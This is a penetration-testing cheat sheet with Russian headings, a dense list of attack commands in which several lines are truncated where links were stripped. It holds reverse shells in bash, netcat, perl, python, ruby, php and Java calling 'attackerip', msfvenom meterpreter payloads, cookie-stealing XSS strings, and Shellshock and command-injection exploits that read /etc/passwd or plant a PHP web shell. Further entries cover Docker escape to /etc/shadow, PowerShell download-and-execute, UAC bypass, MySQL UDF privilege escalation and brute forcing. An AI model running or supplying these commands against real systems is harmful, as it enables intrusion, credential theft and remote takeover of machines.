smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
### Компиляция Windows-эксплойтов в Kali```
c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80
nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
wget -O mingw-get-setup.exe
wget && unzip mingw_bin.zip
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
### SSH-прокидывание из одной сети в другую```
ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target
### Проксирование с использованием metasploit```
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
#
meterpreter > run autoroute -s 10.1.13.0/24
10.1.13.0 255.255.255.0 Session 1
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
### Поиск в Exploit-DB с использованием CSV-файла```
git clone cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel"
cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep " X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
### Обратный Meterpreter-бинарный файл MSF для Linux```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -e -f elf -a x86 --platform linux -o shell
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
### Скрипт Python для обратного шелла MSF```
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp -a x86 --platform win -o shell.asp
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -o shell.sh
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -o shell.php
perl -i~ -0777pe's/^/ ?=’|fold -w 12| head -n 4
# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’
### Команды эксплуатации переполнения буфера в Windows```
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c
COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)
pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )
!pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh
!mona config -set workingfolder C:\Mona%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest
### SEH - Структурированная обработка исключений```
#
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
#
#
!mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a" !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
### ASLR - Рандомизация расположения адресного пространства```
#
#
#
!mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t'
# Display Register Values: (Decimal,Binary,Hex)
# Display values of specific memory locations
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0
0 /dev/tcp/attackerip/4444; sh &196 2>&196
0 /dev/tcp/attackerip/4444; sh &196 2>&196
exec 5<>/dev/tcp/attackerip/4444 cat &5 >&5; done # or: while read line 0 &5 >&5; done exec 5<>/dev/tcp/attackerip/4444
cat &5 >&5; done # or: while read line 0 &5 >&5; done
/bin/bash -i > /dev/tcp/attackerip/8080 0 &1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0 &1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i &3 2>&3");'
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat &5 >&5; done"] as String[])
nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443
# mknod backpipe p && nc attackerip 443 0 backpipe
/bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/
# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
mknod backpipe p && telnet attackerip 443 0 backpipe
# Start an open X Server on your system (:1 – which listens on TCP port 6001)
# Then remember to authorise on your system the target IP to connect to you
# Run this INSIDE the spawned xterm on the open X Server
# Then on the target connect back to the your X Server
xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm
(" src= ")
document.location=
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–> ">'> alert(String.fromCharCode(88,83,83))
("> )
"> alert(document.cookie)
%253cscript%253ealert(document.cookie)%253c/script%253e
"> alert(document.cookie)
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337
### Установка Metasploit Community Edition в Kali 2.0```
wget && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run
[*] Creating user 'root' with password 'LsRRV[I^5' ...
SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion
$ apt-get install torsocks $ torsocks ssh [email protected] -p 80
$ ./fierce.pl –dns example.com –wordlist myWordList.txt
### Metagoofil — инструмент сбора метаданных```
#
#automate engine document retrieval and analysis. It also has the capability to provide MAC
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
### Лучшая стратегия сканирования NMAP```
# A best nmap scan strategy for networks of all sizes
# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt
#
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
### Nmap – Техники обхода брандмауэров```
# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)
# Manually specify the IP addresses of the decoys
# Idle Zombie Scan, first t need to find zombie ip
# MAC Address Spoofing, generate different mac for host pc
### Эксплуатация серверов к Shellshock```
# A tool to find and exploit servers vulnerable to Shellshock
$ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$( Dockerfile FROM debian:wheezy
ek@victum:~~$ docker build -t my-docker-image . ek@victum:~~ $ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami
ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'
### Туннелирование через DNS для обхода брандмауэра```
# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.
$ apt-get -y install ruby-dev git make g++
$ git clone
#
#
nasm -f elf32 simple32.asm -o simple32.o ld -m elf_i386 simple32.o simple32
nasm -f elf64 simple.asm -o simple.o ld simple.o -o simple
### Пивотинг во внутреннюю сеть через неинтерактивную оболочку```
$ wget -O - -q "
$ wget -O - -q " -f /tmp/id_rsa -N \"\" "
$ wget -O - -q " /tmp/id_rsa"
$ mkdir / /tempuser/.ssh && chmod 700 / /tempuser/.ssh
$ wget -O - -q " /tmp/id_rsa" > / /tempuser/.ssh/authorized_keys
$ chmod 700 / /tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser / /tempuser/.ssh
$ wget -O - -q " -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@ "
### Patator — это многоцелевой брутфорсер```
# git clone /usr/ /patator
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/ /john/password.lst $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/ /john/password.lst 1=/usr/ /john/usernames.lst $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/ /john/password.lst 1=/usr/ /john/usernames.lst $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/ /john/password.lst -x ignore:fgrep='incorrect password or account name'
### Веб-терминал Metasploit через Gotty```
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
### Получить полную оболочку через POST RCE```
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' '
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' '
attacker:~$ curl
# download reverse shell to server (phpshell.php)
### Exiftool - Чтение и запись метаинформации в файлах```
$ wget
### Получить SYSTEM с помощью Admin reverse_shell на Win7```
msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe
# upload psexec.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = " >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1
# upload danger.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = " >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1
# upload to victim pc with powershell
echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = " >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1
# Use Akagi64 to run the danger.exe file with SYSTEM privileges
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe
# The above step should give us a reverse shell with elevated privileges
# Use PsExec to run the danger.exe file with SYSTEM privileges
psexec.exe –i –d –accepteula –s danger.exe
### Получить SYSTEM с помощью reverse_shell от обычного пользователя на Win7```
#ms15-051
# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
# Upload compile exploit to victim machine and run it
# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# download it and navigate to the file "main.c"
# dump clear text password of the currently logged in user using wce.exe
# dump hashes of other users with pwdump7
# we can try online hash cracking tools such crackstation.net
### Создайте свой собственный файл dic на основе содержимого веб-сайта```
$ cewl -m 4 -w dict.txt $ john --wordlist=dict.txt --rules --stdout
### Брутфорс DNS-записей с помощью Nmap```
$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102 $ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102 $ wafw00f
### MS08-067 - без использования Metasploit```
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ python /usr/ /exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
### Сканирование Nikto через прокси SQUID```
$ nikto -useproxy -h
### Перехват полного пути бинарного файла в bash для выполнения своего кода```
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
### Повышение локальных привилегий через MySQL, запущенный с правами root```
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/ /user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');
user:~~$ su - Password: user:~~ # whoami root root:~# id uid=0(root) gid=0(root) groups=0(root)
### Брутфорс входа по SSH с помощью patator```
root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'
### Использование LD_PRELOAD для внедрения функций в программы```
$ wget $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
### Эксплуатация атаки перечисления пользователей OpenSSH по времени```
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
### Создание TCP-канала через корректно сформированные HTTP-запросы с помощью ReDuh```
$ java -jar reDuhClient.jar
# forward localport to remote port with tunnel
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while...